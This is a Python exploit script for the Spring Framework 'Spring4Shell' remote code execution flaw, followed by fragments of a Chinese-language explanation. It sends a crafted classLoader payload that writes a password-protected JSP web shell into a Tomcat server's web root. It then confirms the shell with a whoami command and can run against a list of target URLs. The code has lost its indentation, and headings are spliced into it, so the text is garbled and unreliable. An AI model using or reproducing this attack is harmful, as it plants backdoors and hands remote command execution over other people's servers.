import requests
import argparse
from urllib.parse import urljoin
def Exploit(url):
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:
go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
shellurl = urljoin(url, 'tomcatwar.jsp')
shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
if shellgo.status_code == 200:
print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")
except Exception as e:
print(e)
pass
Headers 設置:
Payload (data):
請求邏輯:
def main():
parser = argparse.ArgumentParser(description='Srping-Core Rce.')
parser.add_argument('--file',help='url file',required=False)
parser.add_argument('--url',help='target url',required=False)
args = parser.parse_args()
if args.url:
Exploit(args.url)
if args.file:
with open (args.file) as f:
for i in f.readlines():
i = i.strip()
Exploit(i)
if __name__ == '__main__':
main()
這段代碼展示了如何利用 Spring 框架中的一個高危漏洞。以下是其中幾個關鍵點: